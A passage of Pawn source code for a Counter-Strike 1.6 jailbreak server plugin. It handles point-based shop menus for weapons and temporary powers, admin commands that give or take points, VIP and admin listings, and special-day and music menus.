	menu_item_getinfo(shopwmenu, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
 	switch (Key)
	{
		case 1:
		{
			if(playerpoints[id] < 15) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
			} else {
				if(user_has_weapon(id, CSW_GLOCK18))
					return
				fm_give_item(id, "weapon_glock18")
				cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_glock18", id), 3)
 				ColorChat(id, "^1You ar Buy ^3^"Glock^"")
				emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				playerpoints[id] -= 15
			}
		}
		case 2:
		{
			if(playerpoints[id] < 20) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
			} else {
				if(user_has_weapon(id, CSW_USP))
					return
				fm_give_item(id, "weapon_usp")
				cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_usp", id), 3)
 				ColorChat(id, "You ar Buy ^3^"Usp^"")
				emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				playerpoints[id] -= 20
			}
		}
		case 3:
		{
			if(playerpoints[id] < 25) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 25)
			} else {
				if(user_has_weapon(id, CSW_DEAGLE))
					return
				fm_give_item(id, "weapon_deagle")
				cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_deagle", id), 1)
 				ColorChat(id, "You ar Buy ^3^"Deagle^"")
				emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				playerpoints[id] -= 25
			}
		}
		case 4:
		{
			if(playerpoints[id] < 35) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 35)
			} else {
				if(user_has_weapon(id, CSW_AWP))
					return
				fm_give_item(id, "weapon_awp")
				cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_awp", id), 1)
 				ColorChat(id, "You ar Buy ^3^"Awp^"")
				emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				playerpoints[id] -= 35
			}
		}
	}
	ActionShopMenu(id)
}
 public sub_ActionPowerMenu(id, shoppmenu, item)
{
	if(item == MENU_EXIT || !is_user_alive(id))
	{
		ActionShopMenu(id)
		return
	}
	new shopname[33]
	get_user_name(id, shopname, 31)
	new Data[7], Name[64], Access, Callback
	menu_item_getinfo(shoppmenu, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
 	switch (Key)
	{
		case 1:
		{
			if(playerpoints[id] < 20) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
			} else {
				cs_set_user_model(id, "Ex-Guard")
				set_task(20.0, "RemoveCam", id)
 				ColorChat(0, "^4%s ^1Buy ^3^"Camouflage^" ^1From 20 Seconds", shopname)
				playerpoints[id] -= 20
			}
		}
		case 2:
		{
			if(playerpoints[id] < 15) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
			} else {
				entity_set_float(id, EV_FL_maxspeed, 400.0)
				set_task(20.0, "RemoveSpeed", id)
 				ColorChat(0, "^4%s ^1Buy ^3^"Speed^" ^1From 20 Seconds", shopname)
				playerpoints[id] -= 15
			}
		}
		case 3:
		{
			if(playerpoints[id] < 15) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
			} else {
				entity_set_float(id, EV_FL_gravity, 500.0 / 800.0)
				set_task(20.0, "RemoveGravity", id)
 				ColorChat(0, "^4%s ^1Buy ^3^"Gravity^" ^1From 15 Seconds", shopname)
				playerpoints[id] -= 15
			}
		}
		case 4:
		{
			if(playerpoints[id] < 15) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
			} else {
				fm_set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
				set_task(4.0, "RemoveStealth", id)
 				ColorChat(0, "^4%s ^1Buy ^3^"Stealth^" ^1From 20 Seconds", shopname)
				playerpoints[id] -= 15
			}
		}
		case 5:
		{
			if(playerpoints[id] < 40) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 40)
			} else {
				fm_set_user_godmode(id, 1)
				set_task(10.0, "RemoveGodmode", id)
 				ColorChat(id, "^4VIP: %s ^1Buy ^3^"Godmode 10 Seconds^"", shopname)
				emit_sound(0, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				playerpoints[id] -= 40
			}
		}
		case 6:
		{
			if(playerpoints[id] < 45) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 45)
			} else {
				fm_set_user_noclip(id, 1)
				set_task(10.0, "RemoveNoclip", id)
 				ColorChat(id, "^4VIP: %s ^1Buy ^3^"Noclip 10 Seconds^"", shopname)
				emit_sound(0, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				playerpoints[id] -= 45
			}
		}
	}
	ActionShopMenu(id)
}
 public sub_ActionVIPMenu(id, shopvmenu, item)
{
	if(item == MENU_EXIT || !is_user_alive(id))
	{
		ActionShopMenu(id)
		return
	}
	else if(get_vip[id] || is_user_admin(id))
	{
		new shopname[33]
		get_user_name(id, shopname, 31)
		new Data[7], Name[64], Access, Callback
		menu_item_getinfo(shopvmenu, item, Access, Data,5, Name, 63, Callback)
 		new Key = str_to_num(Data)
 		switch (Key)
		{
			case 1:
			{
				if(playerpoints[id] < 20) {
					emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
				} else {
					if(user_has_weapon(id, CSW_DEAGLE))
						return
					fm_give_item(id, "weapon_deagle")
					cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_deagle", id), 2)
 					ColorChat(id, "^4VIP: ^1You ar Buy ^3^"Deagle 2 Bullet^"")
					emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					playerpoints[id] -= 20
				}
			}
			case 2:
			{
				if(playerpoints[id] < 25) {
					emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 25)
				} else {
					if(user_has_weapon(id, CSW_AWP))
						return
					fm_give_item(id, "weapon_awp")
					cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_awp", id), 1)
 					ColorChat(id, "^4VIP: ^1You ar Buy ^3^"Awp 1 Bullet^"")
					emit_sound(id, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					playerpoints[id] -= 25
				}
			}
			case 3:
			{
				if(playerpoints[id] < 35) {
					emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 35)
				} else {
					fm_set_user_godmode(id, 1)
					set_task(10.0, "RemoveGodmode", id)
					ColorChat(id, "^4VIP: %s ^1Buy ^3^"Godmode 20 Seconds^"", shopname)
					emit_sound(0, CHAN_ITEM, "items/gunpickup2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					playerpoints[id] -= 35
				}
			}
			case 4:
			{
				if(playerpoints[id] < 15) {
					emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
				} else {
					cs_set_user_model(id, "Ex-Guard")
					set_task(30.0, "RemoveCam", id)
 					ColorChat(0, "^4VIP: %s ^1Buy ^3^"Camouflage^" ^1From 30 Seconds", shopname)
					playerpoints[id] -= 15
				}
			}
			case 5:
			{
				if(playerpoints[id] < 15) {
					emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 15)
				} else {
					fm_set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
					set_task(5.0, "RemoveStealth", id)
 					ColorChat(0, "^4VIP: %s ^1Buy ^3^"Stealth^" ^1From 5 Seconds", shopname)
					playerpoints[id] -= 15
				}
			}
			case 6:
			{
				if(playerpoints[id] < 20) {
					emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
					ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 20)
				} else {
					set_bit(g_PlayerVoice, id)
 					ColorChat(0, "^4VIP: %s ^1Buy ^3^"Voice^" ^1From 1 Round", shopname)
					playerpoints[id] -= 20
				}
			}
		}
	}
	else
		ColorChat(id, "^4You have no access to this")
	ActionShopMenu(id)
}
 public sub_ActionKnifeMenu(id, shopvmenu, item)
{
	if(item == MENU_EXIT || !is_user_alive(id))
	{
		ActionShopMenu(id)
		return
	}
	new shopname[33]
	get_user_name(id, shopname, 31)
	new Data[7], Name[64], Access, Callback
	menu_item_getinfo(shopvmenu, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
 	switch(Key)
	{
		case 1,2,3:
		{
			if(playerpoints[id] < 10) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
			} else {
				new showknifekey[20]
				if(Key == 1) {
					set_bit(g_PlayerCrowbar, id)
					formatex(showknifekey, 19, "CrowBar")
				} else if(Key == 2) {
					set_bit(g_PlayerStunGun, id)
					formatex(showknifekey, 19, "Stun Gun")
				} else if(Key == 3) {
					set_bit(g_PlayerDildo, id)
					formatex(showknifekey, 19, "Dildo")
				}
				Event_CurWeapon(id)
 				ColorChat(0, "^4%s ^1Buy ^3^"%s^"", shopname, showknifekey)
				playerpoints[id] -= 10
			}
		}
		case 4:
		{
			if(playerpoints[id] < 10) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
			} else {
				set_bit(g_PlayerBH, id)
				Event_CurWeapon(id)
 				ColorChat(0, "^4%s ^1Buy ^3^"Super Bunny Hop Knife^"", shopname)
				playerpoints[id] -= 10
			}
		}
		case 5:
		{
			if(playerpoints[id] < 10) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
			} else {
				set_bit(g_PlayerSpeed, id)
				Event_CurWeapon(id)
 				ColorChat(0, "^4%s ^1Buy ^3^"Speed Knife^"", shopname)
				playerpoints[id] -= 10
			}
		}
		case 6:
		{
			if(playerpoints[id] < 10) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
			} else {
				set_bit(g_PlayerGravity, id)
				Event_CurWeapon(id)
 				ColorChat(0, "^4%s ^1Buy ^3^"Gravity Knife^"", shopname)
				playerpoints[id] -= 10
 			}
		}
		case 7:
		{
			if(playerpoints[id] < 35) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 35)
			} else {
				set_bit(g_bHasCellKeys, id)
				Event_CurWeapon(id)
 				ColorChat(0, "^4%s ^1Buy ^3^"Cell Key^"", shopname)
				playerpoints[id] -= 35
			}
		}
	}
	ActionShopMenu(id)
}
 public sub_ActionOtherMenu(id, shopomenu, item)
{
	if(item == MENU_EXIT || !is_user_alive(id))
	{
		ActionShopMenu(id)
		return
	}
	new shopname[33]
	get_user_name(id, shopname, 31)
	new Data[7], Name[64], Access, Callback
	menu_item_getinfo(shopomenu, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
 	switch (Key)
	{
		case 1:
		{
			if(playerpoints[id] < 70) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 70)
			} else {
				count = 0
 				for(user = 1 ; user <= g_max_clients ; user++)
					if(get_user_flags(user) & ADMIN_CVAR)
						count++
				if(count == 0) {
					cs_set_user_team(id, CS_TEAM_CT)
					ExecuteHamB(Ham_CS_RoundRespawn, id)
					ColorChat(0, "^4%s ^1Buy ^3^"Change Team^"", shopname)
					playerpoints[id] -= 70
				}
				else
					ColorChat(id, "This option dont work because some admin is online.")
			}
		}
		case 2:
		{
			if(playerpoints[id] < 5) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 5)
			} else {
				cs_set_user_model(id, "vip")
 				ColorChat(0, "^4%s ^1Buy ^3^"VIP Model^" ^1Once Round", shopname)
				playerpoints[id] -= 5
			}
		}
		case 3:
		{
			if(playerpoints[id] < 10) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
			} else {
				cs_set_user_model(id, "Ex-Woman")
 				ColorChat(0, "^4%s ^1Buy ^3^"Admin Model^" ^1Once Round", shopname)
				playerpoints[id] -= 10
			}
		}
		case 4:
		{
			if(playerpoints[id] < 30) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 30)
			} else {
				fm_set_user_rendering(id, kRenderFxGlowShell, random_num(0, 255), random_num(0, 255), random_num(0, 255), kRenderNormal, 255) 
 				ColorChat(0, "^4%s ^1Buy ^3^"Freeday^" ^1Once Round", shopname)
				playerpoints[id] -= 30
			}
		}
		case 5:
		{
			if(playerpoints[id] < 10) {
				emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
				ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 10)
			} else {
				footstep[id] = true
				set_task(30.0, "RemoveFootsteps", id)
				fm_set_user_rendering(id, kRenderFxGlowShell, random_num(0, 255), random_num(0, 255), random_num(0, 255), kRenderNormal, 255) 
 				ColorChat(0, "^4%s ^1Buy ^3^"SilentWalk^" ^130 Seconds", shopname)
				playerpoints[id] -= 10
			}
		}
	}
	ActionShopMenu(id)
}
 public PlayerPointsMenu(id)
{
	new shopppmenu = menu_create("\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yPlayers Points", "sub_ActionPlayersPoints")
 	new name[32], szTempid[10], Item[100]
	for( new i = 1; i <= g_max_clients; i++ )
	{
		if(!is_user_connected(i)) continue
 		get_user_name(i, name, sizeof(name) - 1)
		num_to_str(i, szTempid, 9)
 		if(playerpoints[i] <= 50)	formatex(_status[id], 20, "Ex Beginner")
		else if(playerpoints[i] <= 100)	formatex(_status[id], 20, "Ex Novice")
		else if(playerpoints[i] <= 200)	formatex(_status[id], 20, "Ex Distinguished")
		else if(playerpoints[i] <= 300)	formatex(_status[id], 20, "Ex Competent")
		else if(playerpoints[i] <= 400)	formatex(_status[id], 20, "Ex Master")
		else if(playerpoints[i] <= 500) formatex(_status[id], 20, "Ex Winner")
		else if(playerpoints[i] <= 1000) formatex(_status[id], 20, "Ex Killer")
		else if(playerpoints[i] <= 1500 || playerpoints[i] >= 1500) formatex(_status[id], 20, "Ex Millyoner")
 		formatex(Item, 99, "\y%s \w%d \r%s", name, playerpoints[i], _status[id])
		menu_additem(shopppmenu, Item, szTempid)
	}
	menu_setprop(shopppmenu, MPROP_EXITNAME, "\yExit Shop")
	menu_display(id, shopppmenu)
}
 public sub_ActionPlayersPoints(client, shopppmenu, item)
{
	if(item == MENU_EXIT)
	{
		ActionShopMenu(client)
		return
	}
	new data[6], iName[64]
	new _access, callback
	menu_item_getinfo(shopppmenu, item, _access, data,5, iName, 63, callback)
 	new tempid = str_to_num(data)
 	if(!is_user_connected(tempid))	return
	new name[32]
	get_user_name(tempid, name, sizeof(name) - 1)
 	if(playerpoints[tempid] <= 50)		formatex(_status[tempid], 16, "Ex' Beginner")
	else if(playerpoints[tempid] <= 100)	formatex(_status[tempid], 16, "Ex' Novice")
	else if(playerpoints[tempid] <= 200)	formatex(_status[tempid], 16, "Ex' Distinguished")
	else if(playerpoints[tempid] <= 300)	formatex(_status[tempid], 16, "Ex' Competent")
	else if(playerpoints[tempid] <= 400)	formatex(_status[tempid], 16, "Ex' Master")
	else if(playerpoints[tempid] <= 500)	formatex(_status[tempid], 16, "Ex' Winner")
	else if(playerpoints[tempid] <= 1000)	formatex(_status[tempid], 16, "Ex' Killer")
	else					formatex(_status[tempid], 16, "Ex' Millyoner")
 	ColorChat(client, "^4The Number of points that ^3%s^4 has is:^3 %i ^1%s", name, playerpoints[tempid], _status[tempid])
 	PlayerPointsMenu(client)
}
 public Ham_UseButton(iEnt, iAttacker) {
	if (!get_cvar_num("use_buttons"))
		return
	else
		dllfunc(DLLFunc_Use, iEnt, iAttacker)
}
 ResetMaxspeed(id)
{
	static Float:max_speed
	switch (get_user_weapon(id))
	{
		case CSW_SG550, CSW_AWP, CSW_G3SG1:		max_speed = 210.0
		case CSW_M249:					max_speed = 220.0
		case CSW_AK47:					max_speed = 221.0
		case CSW_M3, CSW_M4A1:				max_speed = 230.0
		case CSW_SG552:					max_speed = 235.0
		case CSW_XM1014, CSW_AUG, CSW_GALIL, CSW_FAMAS:	max_speed = 240.0
		case CSW_P90:					max_speed = 245.0
		case CSW_SCOUT:					max_speed = 260.0
		default:					max_speed = 250.0
	}
 	entity_set_float(id, EV_FL_maxspeed, max_speed)
}
 public cmd_give_points(id,level,cid)
{
	if(get_user_flags(id) & ADMIN_RCON)
	{
		new target[32], amount[21], reason[21]
 		read_argv(1, target, 31)
		read_argv(2, amount, 20)
		read_argv(3, reason, 20)
 		new player = cmd_target(id, target, 8)
 		if(! player) 
			return PLUGIN_HANDLED
 		new admin_name[32], player_name[32]
		get_user_name(id, admin_name, 31)
		get_user_name(player, player_name, 31)
 		new pointnum = str_to_num(amount)
 		playerpoints[player] += pointnum
 		switch(get_cvar_num ("amx_show_activity"))
		{
			case 1: client_print(0, print_chat, "ADMIN: gave %i points for %s.", pointnum, player_name)
			case 2: client_print(0, print_chat, "ADMIN %s: gave %i points for %s.", admin_name, pointnum, player_name)
		}
		client_print(player, print_chat, "You received %i points.(Total: %d)", pointnum, playerpoints[player])
		SaveData(id)
	}
	return PLUGIN_HANDLED
}
 public cmd_take_points(id,level,cid)
{
	if(get_user_flags(id) & ADMIN_RCON)
	{
		new target[32], amount[21], reason[21]
 		read_argv(1, target, 31)
		read_argv(2, amount, 20)
		read_argv(3, reason, 20)
 		new player = cmd_target(id, target, 8)
 		if(!player) 
			return PLUGIN_HANDLED
 		new admin_name[32], player_name[32]
		get_user_name(id, admin_name, 31)
		get_user_name(player, player_name, 31)
 		new pointnum = str_to_num(amount)
 		playerpoints[player] -= pointnum
 		switch(get_cvar_num("amx_show_activity"))
		{
			case 1: client_print(0, print_chat, "ADMIN: took %i points from %s.",  pointnum, player_name)
			case 2: client_print(0, print_chat, "ADMIN %s: took %i points from %s.", admin_name, pointnum, player_name)
		}
		client_print(player, print_chat, "You lost %i points. (Total: %d)", pointnum, playerpoints[player])
		SaveData(id)
	}
	return PLUGIN_HANDLED
}
 public ShowVIP(user)
{
	ShowAdmin(user)
	new message[256]
	new adminnames[33][32]
	new id, count, x, len
 	for(id = 1 ; id <= g_max_clients ; id++)
		if(is_user_connected(id))
			if(get_user_flags(id) & VIP_FLAG || get_vip[id])
				get_user_name(id, adminnames[count++], 31)
	len = format(message, 255, "^4 [Ex`] VIPS ONLINE: ")
	if(count > 0) {
		for(x = 0 ; x < count ; x++) {
			len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"")
			if(len > 96) {
				print_message(user, message)
				len = format(message, 255, "^4 ")
			}
		}
		print_message(user, message)
	}
	else {
		len += format(message[len], 255-len, "No vips online.")
		print_message(user, message)
	}
}
 public ShowAdmin(user)
{
	new message[256]
	new adminnames[33][32]
	new id, count, x, len
 	for(id = 1 ; id <= g_max_clients ; id++)
		if(is_user_connected(id))
			if(get_user_flags(id) & ADMIN_RCON)
				get_user_name(id, adminnames[count++], 31)
	len = format(message, 255, "^4 [Ex`] TOP ADMINS ONLINE: ")
	if(count > 0) {
		for(x = 0 ; x < count ; x++) {
			len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"")
			if(len > 96) {
				print_message(user, message)
				len = format(message, 255, "^4 ")
			}
		}
		print_message(user, message)
	}
	else {
		len += format(message[len], 255-len, "No top admins online.")
		print_message(user, message)
	}
}
 public ShowMenu(id, g_ShowMenu, item)
{
	if(item == MENU_EXIT)
		return
	new Data[7], Name[64], Access, Callback, adname[33]
	get_user_name(id, adname, 31)
	menu_item_getinfo(g_ShowMenu, item, Access, Data,5, Name, 63, Callback)
	new Key = str_to_num(Data)
 	switch(Key)
	{
		case 1:
		{
			ColorChat(0, "^4%s^1 started^4 Zombie day !", adname)
			zombieday = true
			ActionZombie()
		}
		case 2:
		{
			ColorChat(0, "^4%s^1 started^4 Hide'n'seek day !", adname)
			hns_fd = true
			ActionHns()
		}
		case 3:
		{
			ColorChat(0, "^4%s^1 started^4 Shark day !", adname)
			ActionShark()
		}
		case 4:
		{
			ColorChat(0, "^4%s^1 started^4 Free day !", adname)
			hns_fd = true
			ActionFree()
		}
		case 5:
		{
			ColorChat(0, "^4%s^1 started^4 NightCrawler Day !",  adname)
			ActionNightCrawler()
		}
		case 6:
		{
			ColorChat(0, "^4%s^1 started^4 Spartan Day !", adname)
			Actionspartanday()
		}
		case 7:	ShowMusicMenu(id)
		case 8:
		{
			ColorChat(0, "^4%s^1 started^4 War Day !", adname)
			ActionWarday()
		}
		case 9:
		{
			ColorChat(0, "^4%s^1 started^4 Deathmatch !", adname)
			Deathmatch = true
			ActionDeathmatch()
		}
		case 10:
		{
			ColorChat(0, "^4%s^1 started^4 Birth Day !", adname)
			ActionBirthDay()
			set_task(5.0, "GetRandomPlayer")
		}
		case 11:
		{
			ColorChat(0, "^4%s^1 started^4 Knife Day !", adname)
			ActionKnifeDay()
			knifeday = true
		}
		case 12:
		{
			ColorChat(0, "^4%s^1 started^4 Grenade Day !", adname)
			ActionGrenadeDay()
			grenadeday = true
		}
		case 13:
		{
			ColorChat(0, "^4%s^1 started^4 Deagle Day !", adname)
			ActionNorDealgeDay()
			nordeagleday = true
		}
		case 14:
		{
			ColorChat(0, "^4%s^1 started^4 Jump Day !", adname)
			ActionJumpDay()
		}
		case 15:
		{
			ColorChat(0, "^4%s^1 started^4 Special Day", adname)
			set_task(0.25, "GetPlayerDisco",_,_,_, "a", 60)
			set_task(5.0, "ActionRandomDay")
			set_task(20.0, "ShowSpecialHook")
			if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/Extreme-Jail/ImposibbleMisson.mp3^"")
			else client_cmd(0, "mp3 play ^"sound/Extreme-Jail/KillEveryBody.mp3^"")
		}
		case 16:
		{
			ColorChat(0, "^4%s^1 started^4 Random Day !", adname)
			set_task(5.0, "ActionRandomDay")
			set_hudmessage(0, 255, 0, 0.08, -1.0, 0, 6.0, 4.0)
			show_hudmessage(0, "Random day will start in 5 seconds !!")
		}
		case 17:
		{
			new g_OptionMenu = menu_create("\r[\w BeatTheB Jail \r]\y Admin Option Menu", "OptionMenu")
 			new szNum[3]
			for(new i = 0 ; i < sizeof MessageOpt ; i++) {
				num_to_str(i+1 , szNum , 2)
				menu_additem(g_OptionMenu , MessageOpt[i], szNum)
			}
			menu_display(id, g_OptionMenu)
		}
	} if(Key != 7 && Key != 15 && Key != 16 && Key != 17)
		actiondays = true
}
public PlayerShowMENU(id, item)
{
	if(item == MENU_EXIT)
		return
	new Data[7], Name[64], Access, Callback, adname[33]
	get_user_name(id, adname, 31)
	menu_item_getinfo(g_ShowMenu, item, Access, Data,5, Name, 63, Callback)
	new Key = str_to_num(Data)
 	switch(Key)
	{
		case 1:
		{
			ColorChat(0, "^4%s^1 started^4 Zombie day !", adname)
			zombieday = true
			ActionZombie()
		}
		case 2:
		{
			ColorChat(0, "^4%s^1 started^4 Hide'n'seek day !", adname)
			hns_fd = true
			ActionHns()
		}
		case 3:
		{
			ColorChat(0, "^4%s^1 started^4 Shark day !", adname)
			ActionShark()
		}
		case 4:
		{
			ColorChat(0, "^4%s^1 started^4 Free day !", adname)
			hns_fd = true
			ActionFree()
		}
		case 5:
		{
			ColorChat(0, "^4%s^1 started^4 NightCrawler Day !",  adname)
			ActionNightCrawler()
		}
		case 6:
		{
			ColorChat(0, "^4%s^1 started^4 Spartan Day !", adname)
			Actionspartanday()
		}
		case 7:
		{
			ColorChat(0, "^4%s^1 started^4 War Day !", adname)
			ActionWarday()
		}
		case 8:
		{
			ColorChat(0, "^4%s^1 started^4 Deathmatch !", adname)
			Deathmatch = true
			ActionDeathmatch()
		}
		case 9:
		{
			ColorChat(0, "^4%s^1 started^4 Birth Day !", adname)
			ActionBirthDay()
			set_task(5.0, "GetRandomPlayer")
		}
		case 10:
		{
			ColorChat(0, "^4%s^1 started^4 Knife Day !", adname)
			ActionKnifeDay()
			knifeday = true
		}
		case 11:
		{
			ColorChat(0, "^4%s^1 started^4 Grenade Day !", adname)
			ActionGrenadeDay()
			grenadeday = true
		}
		case 12:
		{
			ColorChat(0, "^4%s^1 started^4 Deagle Day !", adname)
			ActionNorDealgeDay()
			nordeagleday = true
		}
		case 13:
		{
			ColorChat(0, "^4%s^1 started^4 Jump Day !", adname)
			ActionJumpDay()
		}
		case 14:
		{
			ColorChat(0, "^4%s^1 started^4 Special Day", adname)
			set_task(0.25, "GetPlayerDisco",_,_,_, "a", 60)
			set_task(5.0, "ActionRandomDay")
			set_task(20.0, "ShowSpecialHook")
			if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/Extreme-Jail/ImposibbleMisson.mp3^"")
			else client_cmd(0, "mp3 play ^"sound/Extreme-Jail/KillEveryBody.mp3^"")
			}
		}
}
public ActionCtDays(id)
{
new szName[32] 
get_user_name(id, szName, charsmax(szName)) 
ColorChat(0, "Guard ^4%s^1 started^4 Special Day", szName)
set_task(0.25, "GetPlayerDisco",_,_,_, "a", 60)
set_task(5.0, "ActionRandomDay")
set_task(20.0, "ShowSpecialHook")
if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/Extreme-Jail/ImposibbleMisson.mp3^"")
else client_cmd(0, "mp3 play ^"sound/Extreme-Jail/KillEveryBody.mp3^"")
		}
public ShowMusicMenu(id)
{
	new g_MusicMenu = menu_create("\r[\w BeatTheB Jail \r]\y Music Menu", "MusicMenu")
 	new szNum[4]
	for(new i = 0 ; i < sizeof SongsName ; i++) {
		num_to_str(i , szNum , 3)
		menu_additem(g_MusicMenu , SongsName[i], szNum)
	}
	menu_display(id, g_MusicMenu)
}
 public MusicMenu(id, g_MusicMenu, item)
{
	if(item == MENU_EXIT)
		return
	new szKey[3], adname[33], Dummy
	get_user_name(id, adname, 32)
	menu_item_getinfo(g_MusicMenu, item, Dummy, szKey, 2, "", 0, Dummy)
 	new key = str_to_num(szKey)
	if(key == 0) ShowMusicCustomized(0)
	else if(key == sizeof SongsName-1) {
		client_cmd(0, "mp3 stop;stopsound")
